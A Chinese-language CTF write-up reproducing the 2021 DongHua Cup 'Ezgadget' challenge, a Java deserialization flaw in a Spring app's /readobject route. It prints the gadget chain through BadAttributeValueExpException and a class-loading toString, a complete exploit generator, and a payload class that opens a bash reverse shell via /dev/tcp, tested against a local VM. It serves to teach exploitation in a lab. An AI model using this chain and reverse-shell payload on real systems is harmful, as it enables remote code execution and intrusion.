2021东华杯Ezgadget复现

前言

东华杯去年打进决赛了,但那时候基本上我都是打misc,也不懂Java,最近学了一些Java的知识,就来复现一下这个题目,算是炒冷饭了,话不多说,进入正题。

复现过程

题目给了一个jar包(下载地址放在文章末),使用jd-gui反编译看一下源码。

IndexController: 网站首页,有一个readobject路由,接收一个data参数,然后将data的值进行base64解码,然后将其变为一个对象流,读取一个UTF和一个Int,如果满足name.equals("gadgets") && year == 2021即触发反序列化

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index(HttpServletRequest request, HttpServletResponse response) {
    return "index";
  }
  
  @ResponseBody
  @RequestMapping({"/readobject"})
  public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if (name.equals("gadgets") && year == 2021)
      objectInputStream.readObject(); 
    return "welcome bro.";
  }
}

User: 一个常见的JavaBean

mport java.io.Serializable;

public class User implements Serializable {
    private String UserName;

    private String PassWord;

    public String getUserName() {
        return this.UserName;
    }

    public void setUserName(String userName) {
        this.UserName = userName;
    }

    public String getPassWord() {
        return this.PassWord;
    }

    public void setPassWord(String passWord) {
        this.PassWord = passWord;
    }

    public String toString() {
        return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
    }
}

Tools: 定义了Base64的加解密以及序列化和反序列化

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

ToStringBean: 继承了ClassLoader,为了能调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();//类的实例化
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

整个过程的一个逻辑就是readobject路由对data参数进行反序列化,而toStringBean类重写了toString方法。然后BadAttributeValueExpException类的readobject方法中调用了valtoString()方法,val可以传入toStringBean,从而在调用BadAttributeValueExpExceptionreadobject的时候调用的toStringBeantoString()方法。

所以可以从BadAttributeValueExpException.readobject -> toStringBean.toString -> defineClass+newInstance()

Exp

package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
    public static void main(String[] args) throws Exception{
        ToStringBean toStringBean = new ToStringBean();
        Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
        classByteField.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class"));
        classByteField.set(toStringBean,bytes);//对ToStringBean类中的ClassByte赋值

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,toStringBean);//对val赋值为toStringBean,从而在调用badAttributeValueExpException的readobject的时候调用的toStringBean的toString()方法


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//新建一个字节流
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//把字节流转为对象流
        objectOutputStream.writeUTF("gadgets");//往UTF中写入gadgets
        objectOutputStream.writeInt(2021);//往Int中写入2021
        objectOutputStream.writeObject(badAttributeValueExpException);//调用badAttributeValueExpException.writeObject序列化

        byte[] bytes1 = byteArrayOutputStream.toByteArray();//把字节流导出为字节数组
        String s = Tools.base64Encode(bytes1);//base64编码
        System.out.println(s);

    }
}

恶意字节码

package com.ezgame.ctf;

import java.io.IOException;

public class payload {
    static {
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/7777 0>&1"});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

我把jar包放虚拟机上,把环境跑起来,尝试反弹shell

java -jar ezgadget.jar
1648566574006.png

因为base64编码出来的payload有+号,而处理的时候会当作空格引发报错,所以要进行url编码

1648566787291.png
1648566764073.png

成功反弹shell,原先在le1a目录,收到了来自桌面的反弹shell


题目附件:点击下载